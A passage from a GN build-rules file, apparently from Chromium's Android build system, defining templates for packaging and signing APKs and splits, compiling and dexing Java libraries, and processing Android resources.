_incremental_android_manifest\n      resource_packaged_apk_path = _incremental_resource_packaged_apk_path\n    }\n\n    package_target = \"${target_name}__package\"\n    package_apk(package_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"assets_build_config\",\n                               \"emma_instrument\",\n                               \"native_lib_placeholders\",\n                               \"native_libs_filearg\",\n                               \"secondary_abi_native_libs_filearg\",\n                               \"secondary_native_libs\",\n                               \"uncompress_shared_libraries\",\n                               \"write_asset_list\",\n                             ])\n      deps = _deps + [ \":${_package_resources_target_name}\" ]\n      native_libs = _native_libs + _native_libs_even_when_incremental\n\n      if (defined(_dex_path)) {\n        dex_path = _dex_path\n      }\n\n      output_apk_path = _packaged_apk_path\n      resource_packaged_apk_path = _resource_packaged_apk_path\n    }\n\n    _incremental_package_target = \"${target_name}_incremental__package\"\n    package_apk(_incremental_package_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"assets_build_config\",\n                               \"emma_instrument\",\n                               \"secondary_native_libs\",\n                               \"uncompress_shared_libraries\",\n                             ])\n      _dex_target = \"//build/android/incremental_install:bootstrap_java__dex\"\n      deps = _incremental_deps + [\n               \":${_incremental_package_resources_target_name}\",\n               _dex_target,\n             ]\n\n      if (defined(_dex_path)) {\n        dex_path =\n            get_label_info(_dex_target, \"target_gen_dir\") + \"/bootstrap.dex\"\n      }\n\n      native_libs = _native_libs_even_when_incremental\n\n      # http://crbug.com/384638\n      _has_native_libs =\n          defined(invoker.native_libs_filearg) || _native_libs != []\n      if (_has_native_libs && _native_libs_even_when_incremental == []) {\n        native_lib_placeholders = [ \"libfix.crbug.384638.so\" ]\n      }\n\n      output_apk_path = _incremental_packaged_apk_path\n      resource_packaged_apk_path = _incremental_resource_packaged_apk_path\n    }\n\n    _finalize_apk_rule_name = \"${target_name}__finalize\"\n    finalize_apk(_finalize_apk_rule_name) {\n      forward_variables_from(invoker, [ \"page_align_shared_libraries\" ])\n\n      input_apk_path = _packaged_apk_path\n      output_apk_path = _final_apk_path\n      keystore_path = _keystore_path\n      keystore_name = _keystore_name\n      keystore_password = _keystore_password\n      rezip_apk = _load_library_from_apk\n\n      public_deps = [\n        # Generator of the _packaged_apk_path this target takes as input.\n        \":$package_target\",\n      ]\n    }\n\n    _incremental_finalize_apk_rule_name = \"${target_name}_incremental__finalize\"\n    finalize_apk(_incremental_finalize_apk_rule_name) {\n      input_apk_path = _incremental_packaged_apk_path\n      output_apk_path = _incremental_final_apk_path\n      keystore_path = _keystore_path\n      keystore_name = _keystore_name\n      keystore_password = _keystore_password\n\n      public_deps = [\n        \":$_incremental_package_target\",\n      ]\n    }\n\n    _split_deps = []\n\n    template(\"finalize_split\") {\n      finalize_apk(target_name) {\n        _config = invoker.split_config\n        _type = invoker.split_type\n        input_apk_path = \"${_resource_packaged_apk_path}_${_config}\"\n        _output_paths = process_file_template(\n                [ _final_apk_path ],\n                \"{{source_dir}}/{{source_name_part}}-${_type}-${_config}.apk\")\n        output_apk_path = _output_paths[0]\n        keystore_path = _keystore_path\n        keystore_name = _keystore_name\n        keystore_password = _keystore_password\n        deps = [\n          \":${_package_resources_target_name}\",\n        ]\n      }\n    }\n\n    foreach(_split, _split_densities) {\n      _split_rule = \"${target_name}__finalize_${_split}_split\"\n      finalize_split(_split_rule) {\n        split_type = \"density\"\n        split_config = _split\n      }\n      _split_deps += [ \":$_split_rule\" ]\n    }\n    foreach(_split, _split_languages) {\n      _split_rule = \"${target_name}__finalize_${_split}_split\"\n      finalize_split(_split_rule) {\n        split_type = \"lang\"\n        split_config = _split\n      }\n      _split_deps += [ \":$_split_rule\" ]\n    }\n\n    group(target_name) {\n      public_deps = [ \":${_finalize_apk_rule_name}\" ] + _split_deps\n    }\n    group(\"${target_name}_incremental\") {\n      public_deps = [ \":${_incremental_finalize_apk_rule_name}\" ] + _split_deps\n    }\n  }\n\n  template(\"java_prebuilt_impl\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n    _supports_android =\n        defined(invoker.supports_android) && invoker.supports_android\n\n    assert(defined(invoker.jar_path))\n    if (defined(invoker.output_name)) {\n      _output_name = invoker.output_name\n    } else {\n      _output_name = get_path_info(invoker.jar_path, \"name\")\n    }\n    _base_path = \"${target_gen_dir}/$target_name\"\n\n    # Jar files can be needed at runtime (by Robolectric tests or java binaries),\n    # so do not put them under gen/.\n    _target_dir_name = get_label_info(\":$target_name\", \"dir\")\n    _jar_path = \"$root_out_dir/lib.java$_target_dir_name/$_output_name.jar\"\n    _ijar_path =\n        \"$root_out_dir/lib.java$_target_dir_name/$_output_name.interface.jar\"\n    _build_config = _base_path + \".build_config\"\n\n    if (_supports_android) {\n      _dex_path = _base_path + \".dex.jar\"\n    }\n    _deps = []\n    if (defined(invoker.deps)) {\n      _deps = invoker.deps\n    }\n    _jar_deps = []\n    if (defined(invoker.jar_dep)) {\n      _jar_deps = [ invoker.jar_dep ]\n    }\n\n    _template_name = target_name\n\n    _build_config_target_name = \"${_template_name}__build_config\"\n    _process_jar_target_name = \"${_template_name}__process_jar\"\n    _ijar_target_name = \"${_template_name}__ijar\"\n    if (_supports_android) {\n      _dex_target_name = \"${_template_name}__dex\"\n    }\n\n    write_build_config(_build_config_target_name) {\n      type = \"java_prebuilt\"\n      is_prebuilt_binary = defined(invoker.main_class)\n      forward_variables_from(invoker,\n                             [\n                               \"input_jars_paths\",\n                               \"proguard_configs\",\n                             ])\n      supports_android = _supports_android\n      requires_android =\n          defined(invoker.requires_android) && invoker.requires_android\n\n      if (defined(invoker.deps)) {\n        possible_config_deps = _deps\n      }\n      build_config = _build_config\n      jar_path = _jar_path\n      if (_supports_android) {\n        dex_path = _dex_path\n      }\n    }\n\n    process_java_prebuilt(_process_jar_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"jar_excluded_patterns\",\n                               \"proguard_preprocess\",\n                               \"proguard_preprocess_config\",\n                               \"strip_resource_classes\",\n                             ])\n\n      visibility = [\n        \":$_ijar_target_name\",\n        \":$_template_name\",\n      ]\n      if (_supports_android) {\n        visibility += [ \":$_dex_target_name\" ]\n      }\n\n      supports_android = _supports_android\n      build_config = _build_config\n      input_jar_path = invoker.jar_path\n      output_jar_path = _jar_path\n\n      deps = [ \":$_build_config_target_name\" ] + _deps + _jar_deps\n    }\n\n    generate_interface_jar(_ijar_target_name) {\n      if (!defined(invoker.proguard_preprocess) ||\n          !invoker.proguard_preprocess) {\n        # Always used the unfiltered .jar to create the interface jar so that\n        # other targets will resolve filtered classes when depending on\n        # BuildConfig, NativeLibraries, etc.\n        input_jar = invoker.jar_path\n        deps = _deps + _jar_deps\n      } else {\n        # However, still apply pre-proguarding, since ignoring that can break\n        # compiles.\n        input_jar = _jar_path\n        deps = [\n          \":$_process_jar_target_name\",\n        ]\n      }\n\n      output_jar = _ijar_path\n    }\n\n    if (_supports_android) {\n      dex(_dex_target_name) {\n        sources = [\n          _jar_path,\n        ]\n        output = _dex_path\n        deps = [ \":$_process_jar_target_name\" ] + _deps + _jar_deps\n      }\n    }\n\n    if (defined(invoker.main_class)) {\n      _binary_script_target_name = \"${_template_name}__java_binary_script\"\n      java_binary_script(_binary_script_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"bootclasspath\",\n                                 \"deps\",\n                                 \"main_class\",\n                                 \"wrapper_script_args\",\n                               ])\n        if (!defined(deps)) {\n          deps = []\n        }\n        build_config = _build_config\n        jar_path = _jar_path\n        script_name = _template_name\n        if (defined(invoker.wrapper_script_name)) {\n          script_name = invoker.wrapper_script_name\n        }\n        deps += [ \":$_build_config_target_name\" ]\n      }\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker, [ \"data_deps\" ])\n      public_deps = [\n        \":$_ijar_target_name\",\n        \":$_process_jar_target_name\",\n      ]\n      if (_supports_android) {\n        public_deps += [ \":$_dex_target_name\" ]\n      }\n      if (defined(invoker.main_class)) {\n        # Some targets use the generated script while building, so make it a dep\n        # rather than a data_dep.\n        public_deps += [ \":$_binary_script_target_name\" ]\n      }\n    }\n  }\n\n  # Compiles and jars a set of java files.\n  #\n  # Outputs:\n  #  $jar_path.jar\n  #  $jar_path.interface.jar\n  #\n  # Variables\n  #   java_files: List of .java files to compile (same as exists in java_sources_file)\n  #   java_sources_file: Path to file containing list of files to compile.\n  #   chromium_code: If true, enable extra warnings.\n  #   srcjar_deps: List of srcjar dependencies. The .java files contained in the\n  #     dependencies srcjar outputs will be compiled and added to the output jar.\n  #   jar_path: Use this to explicitly set the output jar path. Defaults to\n  #     \"${target_gen_dir}/${target_name}.jar.\n  template(\"compile_java\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.build_config))\n    assert(defined(invoker.jar_path))\n\n    _build_config = invoker.build_config\n\n    _chromium_code = false\n    if (defined(invoker.chromium_code)) {\n      _chromium_code = invoker.chromium_code\n    }\n\n    _supports_android = true\n    if (defined(invoker.supports_android)) {\n      _supports_android = invoker.supports_android\n    }\n\n    _requires_android =\n        defined(invoker.requires_android) && invoker.requires_android\n\n    _enable_errorprone = use_errorprone_java_compiler\n    if (!_chromium_code) {\n      _enable_errorprone = false\n    } else if (defined(invoker.enable_errorprone)) {\n      _enable_errorprone = invoker.enable_errorprone\n    }\n\n    _provider_configurations = []\n    if (defined(invoker.provider_configurations)) {\n      _provider_configurations = invoker.provider_configurations\n    }\n\n    _processors = []\n    _enable_interface_jars_javac = true\n    if (defined(invoker.processors_javac)) {\n      _processors = invoker.processors_javac\n      _enable_interface_jars_javac = _processors == []\n    }\n\n    _processor_args = []\n    if (defined(invoker.processor_args_javac)) {\n      _processor_args = invoker.processor_args_javac\n    }\n\n    _additional_jar_files = []\n    if (defined(invoker.additional_jar_files)) {\n      _additional_jar_files = invoker.additional_jar_files\n    }\n\n    if (defined(invoker.enable_incremental_javac_override)) {\n      # Use invoker-specified override.\n      _enable_incremental_javac = invoker.enable_incremental_javac_override\n    } else {\n      # Default to build arg if not overridden.\n      _enable_incremental_javac = enable_incremental_javac\n    }\n\n    _manifest_entries = []\n    if (defined(invoker.manifest_entries)) {\n      _manifest_entries = invoker.manifest_entries\n    }\n\n    _srcjar_deps = []\n    if (defined(invoker.srcjar_deps)) {\n      _srcjar_deps += invoker.srcjar_deps\n    }\n\n    _java_srcjars = []\n    if (defined(invoker.srcjars)) {\n      _java_srcjars = invoker.srcjars\n    }\n    foreach(dep, _srcjar_deps) {\n      _dep_gen_dir = get_label_info(dep, \"target_gen_dir\")\n      _dep_name = get_label_info(dep, \"name\")\n      _java_srcjars += [ \"$_dep_gen_dir/$_dep_name.srcjar\" ]\n    }\n\n    # Mark srcjar_deps as used.\n    assert(_srcjar_deps == [] || true)\n\n    _javac_target_name = \"${target_name}__javac\"\n    _process_prebuilt_target_name = \"${target_name}__process_prebuilt\"\n    _ijar_target_name = \"${target_name}__ijar\"\n    _final_target_name = target_name\n\n    _final_jar_path = invoker.jar_path\n    _javac_jar_path = \"$target_gen_dir/$target_name.javac.jar\"\n    _process_prebuilt_jar_path = _final_jar_path\n    _final_ijar_path = get_path_info(_final_jar_path, \"dir\") + \"/\" +\n                       get_path_info(_final_jar_path, \"name\") + \".interface.jar\"\n\n    _emma_instrument = defined(invoker.emma_instrument) &&\n                       invoker.emma_instrument && invoker.java_files != []\n    if (_emma_instrument) {\n      _emma_instr_target_name = \"${target_name}__emma_instr\"\n      _process_prebuilt_jar_path =\n          \"$target_gen_dir/$target_name.process_prebuilt.jar\"\n    }\n\n    _rebased_build_config = rebase_path(_build_config, root_build_dir)\n    _rebased_jar_path = rebase_path(_javac_jar_path, root_build_dir)\n\n    action(_javac_target_name) {\n      script = \"//build/android/gyp/javac.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      deps = _srcjar_deps\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n\n      outputs = [\n        _javac_jar_path,\n        _javac_jar_path + \".md5.stamp\",\n      ]\n      sources = invoker.java_files + _java_srcjars\n      inputs = [\n        _build_config,\n      ]\n      if (invoker.java_files != []) {\n        inputs += [ invoker.java_sources_file ]\n      }\n\n      _rebased_java_srcjars = rebase_path(_java_srcjars, root_build_dir)\n      _rebased_depfile = rebase_path(depfile, root_build_dir)\n      args = [\n        \"--depfile=$_rebased_depfile\",\n        \"--jar-path=$_rebased_jar_path\",\n        \"--java-srcjars=$_rebased_java_srcjars\",\n        \"--java-srcjars=@FileArg($_rebased_build_config:javac:srcjars)\",\n      ]\n      if (_enable_interface_jars_javac) {\n        args += [ \"--classpath=@FileArg($_rebased_build_config:javac:interface_classpath)\" ]\n      } else {\n        args +=\n            [ \"--classpath=@FileArg($_rebased_build_config:javac:classpath)\" ]\n      }\n      if (_enable_incremental_javac) {\n        args += [ \"--incremental\" ]\n        deps += [ \"//third_party/jmake($default_toolchain)\" ]\n        inputs += [ \"$root_build_dir/bin/jmake\" ]\n        outputs += [ \"${_javac_jar_path}.pdb\" ]\n      }\n      if (_requires_android) {\n        if (defined(invoker.alternative_android_sdk_ijar)) {\n          deps += [ invoker.alternative_android_sdk_ijar_dep ]\n          _android_sdk_ijar = invoker.alternative_android_sdk_ijar\n        } else {\n          deps += [ \"//build/android:android_ijar\" ]\n          _android_sdk_ijar = \"$root_out_dir/lib.java/android.interface.jar\"\n        }\n        inputs += [ _android_sdk_ijar ]\n        _rebased_android_sdk_ijar =\n            rebase_path(_android_sdk_ijar, root_build_dir)\n        args += [ \"--bootclasspath=$_rebased_android_sdk_ijar\" ]\n      }\n      if (use_java8) {\n        args += [ \"--java-version=1.8\" ]\n      } else if (_supports_android) {\n        args += [ \"--java-version=1.7\" ]\n      }\n      foreach(e, _manifest_entries) {\n        args += [ \"--manifest-entry=\" + e ]\n      }\n      if (_chromium_code) {\n        args += [ \"--chromium-code=1\" ]\n      }\n      if (_enable_errorprone) {\n        deps += [ \"//third_party/errorprone:chromium_errorprone\" ]\n        args += [\n          \"--use-errorprone-path\",\n          \"bin/chromium_errorprone\",\n        ]\n      }\n      foreach(e, _provider_configurations) {\n        args += [ \"--provider-configuration=\" + rebase_path(e, root_build_dir) ]\n      }\n      foreach(e, _processors) {\n        args += [ \"--processor=\" + e ]\n      }\n      foreach(e, _processor_args) {\n        args += [ \"--processor-arg=\" + e ]\n      }\n      foreach(file_tuple, _additional_jar_files) {\n        # Each element is of length two, [ path_to_file, path_to_put_in_jar ]\n        inputs += [ file_tuple[0] ]\n        args +=\n            [ \"--additional-jar-file=\" + file_tuple[0] + \":\" + file_tuple[1] ]\n      }\n      if (invoker.java_files != []) {\n        args += [ \"@\" + rebase_path(invoker.java_sources_file, root_build_dir) ]\n      }\n    }\n\n    process_java_prebuilt(_process_prebuilt_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"jar_excluded_patterns\",\n                               \"proguard_preprocess\",\n                               \"proguard_preprocess_config\",\n                             ])\n      supports_android = _supports_android\n      build_config = _build_config\n      input_jar_path = _javac_jar_path\n      output_jar_path = _process_prebuilt_jar_path\n\n      deps = [\n        \":$_javac_target_name\",\n      ]\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n    }\n\n    if (_emma_instrument) {\n      emma_instr(_emma_instr_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"deps\",\n                                 \"java_files\",\n                                 \"java_sources_file\",\n                               ])\n\n        input_jar_path = _process_prebuilt_jar_path\n        output_jar_path = _final_jar_path\n\n        if (!defined(deps)) {\n          deps = []\n        }\n        deps += [ \":$_process_prebuilt_target_name\" ]\n      }\n    }\n\n    generate_interface_jar(_ijar_target_name) {\n      if (!defined(invoker.proguard_preprocess) ||\n          !invoker.proguard_preprocess) {\n        # Always used the unfiltered .jar to create the interface jar so that\n        # other targets will resolve filtered classes when depending on\n        # BuildConfig, NativeLibraries, etc.\n        input_jar = _javac_jar_path\n        deps = [\n          \":$_javac_target_name\",\n        ]\n      } else {\n        # However, still apply pre-proguarding, since ignoring that can break\n        # compiles.\n        input_jar = _process_prebuilt_jar_path\n        deps = [\n          \":$_process_prebuilt_target_name\",\n        ]\n      }\n      output_jar = _final_ijar_path\n    }\n\n    group(_final_target_name) {\n      forward_variables_from(invoker, [ \"visibility\" ])\n      public_deps = [\n        \":$_ijar_target_name\",\n      ]\n      if (_emma_instrument) {\n        public_deps += [ \":$_emma_instr_target_name\" ]\n      } else {\n        public_deps += [ \":$_process_prebuilt_target_name\" ]\n      }\n    }\n  }\n\n  template(\"java_library_impl\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n    _accumulated_deps = []\n    if (defined(invoker.deps)) {\n      _accumulated_deps = invoker.deps\n    }\n\n    assert(defined(invoker.java_files) || defined(invoker.srcjars) ||\n           defined(invoker.srcjar_deps))\n    _base_path = \"$target_gen_dir/$target_name\"\n\n    if (defined(invoker.output_name)) {\n      _output_name = invoker.output_name\n    } else {\n      _output_name = target_name\n    }\n\n    # Jar files can be needed at runtime (by Robolectric tests or java binaries),\n    # so do not put them under gen/.\n    target_dir_name = get_label_info(\":$target_name\", \"dir\")\n    _jar_path = \"$root_out_dir/lib.java$target_dir_name/$_output_name.jar\"\n    if (defined(invoker.jar_path)) {\n      _jar_path = invoker.jar_path\n    }\n    _template_name = target_name\n\n    _final_deps = []\n\n    _supports_android =\n        defined(invoker.supports_android) && invoker.supports_android\n    _requires_android =\n        defined(invoker.requires_android) && invoker.requires_android\n    assert(_requires_android || true)  # Mark as used.\n    _android_manifest = \"//build/android/AndroidManifest.xml\"\n    if (defined(invoker.android_manifest)) {\n      _android_manifest = invoker.android_manifest\n    }\n    assert(_android_manifest != \"\")  # Mark as used.\n\n    if (defined(invoker.run_findbugs_override)) {\n      _run_findbugs = invoker.run_findbugs_override\n    } else {\n      _run_findbugs = run_findbugs  # Default to build arg if not overridden.\n    }\n    assert(_run_findbugs || true)  # Mark as used.\n\n    # Don't enable coverage, lint, findbugs unless the target has some\n    # non-generated files.\n    if (defined(invoker.chromium_code)) {\n      _chromium_code = invoker.chromium_code\n    } else {\n      _chromium_code = defined(invoker.java_files) && invoker.java_files != []\n      if (_chromium_code) {\n        # Make chromium_code = false be the default for targets within\n        # third_party which contain no chromium-namespaced java files.\n        set_sources_assignment_filter([ \"*\\bthird_party\\b*\" ])\n        sources = [\n          get_label_info(\":$target_name\", \"dir\"),\n        ]\n        if (sources == []) {\n          set_sources_assignment_filter([ \"*\\bchromium\\b*\" ])\n          sources = invoker.java_files\n          _chromium_code = invoker.java_files != sources\n        }\n        set_sources_assignment_filter([])\n        sources = []\n      }\n    }\n\n    _emma_never_instrument = !_chromium_code\n    if (defined(invoker.emma_never_instrument)) {\n      _emma_never_instrument = invoker.emma_never_instrument\n    }\n    assert(_emma_never_instrument || true)  # Mark as used\n    _emma_instrument = emma_coverage && !_emma_never_instrument\n\n    if (_supports_android) {\n      _dex_path = _base_path + \".dex.jar\"\n      if (defined(invoker.dex_path)) {\n        _dex_path = invoker.dex_path\n      }\n    }\n\n    _java_files = []\n    if (defined(invoker.java_files)) {\n      _java_files += invoker.java_files\n    }\n    if (_java_files != []) {\n      _java_sources_file = \"$_base_path.sources\"\n      write_file(_java_sources_file, rebase_path(_java_files, root_build_dir))\n    }\n\n    # Define build_config_deps which will be a list of targets required to\n    # build the _build_config.\n    if (defined(invoker.override_build_config)) {\n      _build_config = invoker.override_build_config\n    } else {\n      _build_config = _base_path + \".build_config\"\n      build_config_target_name = \"${_template_name}__build_config\"\n\n      write_build_config(build_config_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"gradle_treat_as_prebuilt\",\n                                 \"input_jars_paths\",\n                                 \"main_class\",\n                                 \"proguard_configs\",\n                               ])\n        if (defined(invoker.is_java_binary) && invoker.is_java_binary) {\n          type = \"java_binary\"\n        } else {\n          type = \"java_library\"\n        }\n        if (defined(invoker.deps)) {\n          possible_config_deps = invoker.deps\n        }\n        supports_android = _supports_android\n        requires_android = _requires_android\n        bypass_platform_checks = defined(invoker.bypass_platform_checks) &&\n                                 invoker.bypass_platform_checks\n\n        build_config = _build_config\n        jar_path = _jar_path\n        if (_supports_android) {\n          dex_path = _dex_path\n        }\n        if (_java_files != []) {\n          java_sources_file = _java_sources_file\n        }\n\n        if (defined(invoker.srcjar_deps)) {\n          bundled_srcjars = []\n          foreach(d, invoker.srcjar_deps) {\n            _dep_gen_dir = get_label_info(d, \"target_gen_dir\")\n            _dep_name = get_label_info(d, \"name\")\n            bundled_srcjars += [ \"$_dep_gen_dir/$_dep_name.srcjar\" ]\n          }\n        }\n      }\n      _accumulated_deps += [ \":$build_config_target_name\" ]\n    }\n\n    _srcjar_deps = []\n    if (defined(invoker.srcjar_deps)) {\n      _srcjar_deps = invoker.srcjar_deps\n    }\n\n    _srcjars = []\n    if (defined(invoker.srcjars)) {\n      _srcjars = invoker.srcjars\n    }\n\n    assert(_java_files != [] || _srcjar_deps != [] || _srcjars != [])\n\n    _compile_java_target = \"${_template_name}__compile_java\"\n    _final_deps += [ \":$_compile_java_target\" ]\n    compile_java(_compile_java_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"additional_jar_files\",\n                               \"alternative_android_sdk_ijar\",\n                               \"alternative_android_sdk_ijar_dep\",\n                               \"dist_jar_path\",\n                               \"enable_errorprone\",\n                               \"enable_incremental_javac_override\",\n                               \"jar_excluded_patterns\",\n                               \"manifest_entries\",\n                               \"processors_javac\",\n                               \"processor_args_javac\",\n                               \"proguard_preprocess_config\",\n                               \"proguard_preprocess\",\n                               \"provider_configurations\",\n                             ])\n      jar_path = _jar_path\n      build_config = _build_config\n      java_files = _java_files\n      if (_java_files != []) {\n        java_sources_file = _java_sources_file\n      }\n      srcjar_deps = _srcjar_deps\n      srcjars = _srcjars\n      chromium_code = _chromium_code\n      supports_android = _supports_android\n      requires_android = _requires_android\n      emma_instrument = _emma_instrument\n      deps = _accumulated_deps\n    }\n    _accumulated_deps += [ \":$_compile_java_target\" ]\n    assert(_accumulated_deps != [])  # Mark used.\n\n    if (defined(invoker.main_class)) {\n      # Targets might use the generated script while building, so make it a dep\n      # rather than a data_dep.\n      _final_deps += [ \":${_template_name}__java_binary_script\" ]\n      java_binary_script(\"${_template_name}__java_binary_script\") {\n        forward_variables_from(invoker,\n                               [\n                                 \"bootclasspath\",\n                                 \"main_class\",\n                                 \"wrapper_script_args\",\n                               ])\n        build_config = _build_config\n        jar_path = _jar_path\n        script_name = _template_name\n        if (defined(invoker.wrapper_script_name)) {\n          script_name = invoker.wrapper_script_name\n        }\n        deps = _accumulated_deps\n      }\n    }\n\n    _has_lint_target = false\n    if (_supports_android) {\n      if (_chromium_code) {\n        _has_lint_target = true\n        android_lint(\"${_template_name}__lint\") {\n          android_manifest = _android_manifest\n          build_config = _build_config\n          jar_path = _jar_path\n          java_files = _java_files\n          if (_java_files != []) {\n            java_sources_file = _java_sources_file\n          }\n          deps = _accumulated_deps\n        }\n\n        if (_run_findbugs) {\n          findbugs(\"${_template_name}__findbugs\") {\n            build_config = _build_config\n            jar_path = _jar_path\n            deps = _accumulated_deps\n          }\n        }\n\n        # Use an intermediate group() rather as the data_deps target in order to\n        # avoid lint artifacts showing up as runtime_deps (while still having lint\n        # run in parallel to other targets).\n        group(\"${_template_name}__analysis\") {\n          public_deps = [\n            \":${_template_name}__lint\",\n          ]\n          if (_run_findbugs) {\n            public_deps += [ \":${_template_name}__findbugs\" ]\n          }\n        }\n      }\n\n      _final_deps += [ \":${_template_name}__dex\" ]\n      dex(\"${_template_name}__dex\") {\n        sources = [\n          _jar_path,\n        ]\n        output = _dex_path\n        deps = [\n          \":$_compile_java_target\",\n        ]\n      }\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"data\",\n                               \"data_deps\",\n                               \"visibility\",\n                             ])\n      if (!defined(data_deps)) {\n        data_deps = []\n      }\n      public_deps = _final_deps\n      if (_has_lint_target) {\n        data_deps += [ \":${_template_name}__analysis\" ]\n      }\n    }\n  }\n\n  # Runs process_resources.py\n  template(\"process_resources\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    zip_path = invoker.zip_path\n    srcjar_path = invoker.srcjar_path\n    r_text_path = invoker.r_text_path\n    build_config = invoker.build_config\n    android_manifest = invoker.android_manifest\n\n    non_constant_id = true\n    if (defined(invoker.generate_constant_ids) &&\n        invoker.generate_constant_ids) {\n      non_constant_id = false\n    }\n\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"visibility\",\n                             ])\n      script = \"//build/android/gyp/process_resources.py\"\n\n      depfile = \"$target_gen_dir/$target_name.d\"\n      outputs = [\n        zip_path,\n        srcjar_path,\n        r_text_path,\n      ]\n\n      _all_resource_dirs = []\n      sources = []\n\n      if (defined(invoker.resource_dirs)) {\n        _all_resource_dirs += invoker.resource_dirs\n\n        # Speed up \"gn gen\" by short-circuiting the empty directory.\n        if (invoker.resource_dirs != [ \"//build/android/ant/empty/res\" ] &&\n            invoker.resource_dirs != []) {\n          _sources_build_rel =\n              exec_script(\"//build/android/gyp/find.py\",\n                          rebase_path(invoker.resource_dirs, root_build_dir),\n                          \"list lines\")\n          sources += rebase_path(_sources_build_rel, \".\", root_build_dir)\n        }\n      }\n\n      if (defined(invoker.generated_resource_dirs)) {\n        assert(defined(invoker.generated_resource_files))\n        _all_resource_dirs += invoker.generated_resource_dirs\n        sources += invoker.generated_resource_files\n      }\n\n      inputs = [\n        build_config,\n        android_manifest,\n      ]\n\n      _rebased_all_resource_dirs =\n          rebase_path(_all_resource_dirs, root_build_dir)\n      rebase_build_config = rebase_path(build_config, root_build_dir)\n\n      if (defined(invoker.android_aapt_path)) {\n        _android_aapt_path = invoker.android_aapt_path\n      } else {\n        _android_aapt_path = android_default_aapt_path\n      }\n\n      if (defined(invoker.alternative_android_sdk_jar)) {\n        _rebased_android_sdk_jar =\n            rebase_path(invoker.alternative_android_sdk_jar)\n      } else {\n        _rebased_android_sdk_jar = rebased_android_sdk_jar\n      }\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--android-sdk-jar\",\n        _rebased_android_sdk_jar,\n        \"--aapt-path\",\n        _android_aapt_path,\n        \"--android-manifest\",\n        rebase_path(android_manifest, root_build_dir),\n        \"--resource-dirs=$_rebased_all_resource_dirs\",\n        \"--srcjar-out\",\n        rebase_path(srcjar_path, root_build_dir),\n        \"--resource-zip-out\",\n        rebase_path(zip_path, root_build_dir),\n        \"--r-text-out\",\n        rebase_path(r_text_path, root_build_dir),\n        \"--dependencies-res-zips=@FileArg($rebase_build_config:resources:dependency_zips)\",\n        \"--extra-res-packages=@FileArg($rebase_build_config:resources:extra_package_names)\",\n        \"--extra-r-text-files=@FileArg($rebase_build_config:resources:extra_r_text_files)\",\n      ]\n\n      if (non_constant_id) {\n        args += [ \"--non-constant-id\" ]\n      }\n\n      if (defined(invoker.custom_package)) {\n        args += [\n          \"--custom-package\",\n          invoker.custom_package,\n        ]\n      }\n\n      if (defined(invoker.v14_skip) && invoker.v14_skip) {\n        args += [ \"--v14-skip\" ]\n      }\n\n      if (defined(invoker.shared_resources) && invoker.shared_resources) {\n        args += [ \"--shared-resources\" ]\n      }\n\n      if (defined(invoker.app_as_shared_lib) && invoker.app_as_shared_lib) {\n        args += [ \"--app-as-shared-lib\" ]\n      }\n\n      if (defined(invoker.include_all_resources) &&\n          invoker.include_all_resources) {\n        args += [ \"--include-all-resources\" ]\n      }\n\n      if (defined(invoker.all_resources_zip_path)) {\n        all_resources_zip = invoker.all_resources_zip_path\n        outputs += [ all_resources_zip ]\n        args += [\n          \"--all-resources-zip-out\",\n          rebase_path(all_resources_zip, root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.proguard_file)) {\n        outputs += [ invoker.proguard_file ]\n        args += [\n          \"--proguard-file\",\n          rebase_path(invoker.proguard_file, root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.args)) {\n        args += invoker.args\n      }\n    }\n  }\n\n  # Produces a single .dex.jar out of a set of Java dependencies.\n  template(\"deps_dex\") {\n    set_sources_assignment_filter([])\n    build_config = \"$target_gen_dir/${target_name}.build_config\"\n    build_config_target_name = \"${target_name}__build_config\"\n\n    write_build_config(build_config_target_name) {\n      forward_variables_from(invoker, [ \"dex_path\" ])\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n      type = \"deps_dex\"\n      build_config = build_config\n    }\n\n    rebased_build_config = rebase_path(build_config, root_build_dir)\n    dex(target_name) {\n      inputs = [\n        build_config,\n      ]\n      output = invoker.dex_path\n      dex_arg_key = \"${rebased_build_config}:final_dex:dependency_dex_files\"\n      args = [ \"--inputs=@FileArg($dex_arg_key)\" ]\n      if (defined(invoker.excluded_jars)) {\n        excluded_jars = rebase_path(invoker.excluded_jars, root_build_dir)\n        args += [ \"--excluded-paths=${excluded_jars}\" ]\n      }\n      deps = [\n        \":$build_config_target_name\",\n      ]\n    }\n  }\n\n  # Creates an AndroidManifest.xml for an APK split.\n  template(\"generate_split_manifest\") {\n    assert(defined(invoker.main_manifest))\n    assert(defined(invoker.out_manifest))\n    assert(defined(invoker.split_name))\n\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"testonly\",\n                             ])\n      depfile = \"$target_gen_dir/$target_name.d\"\n      args = [\n        \"--main-manifest\",\n        rebase_path(invoker.main_manifest, root_build_dir),\n        \"--out-manifest\",\n        rebase_path(invoker.out_manifest, root_build_dir),\n        \"--split\",\n        invoker.split_name,\n      ]\n      if (defined(invoker.version_code)) {\n        args += [\n          \"--version-code\",\n          invoker.version_code,\n        ]\n      }\n      if (defined(invoker.version_name)) {\n        args += [\n          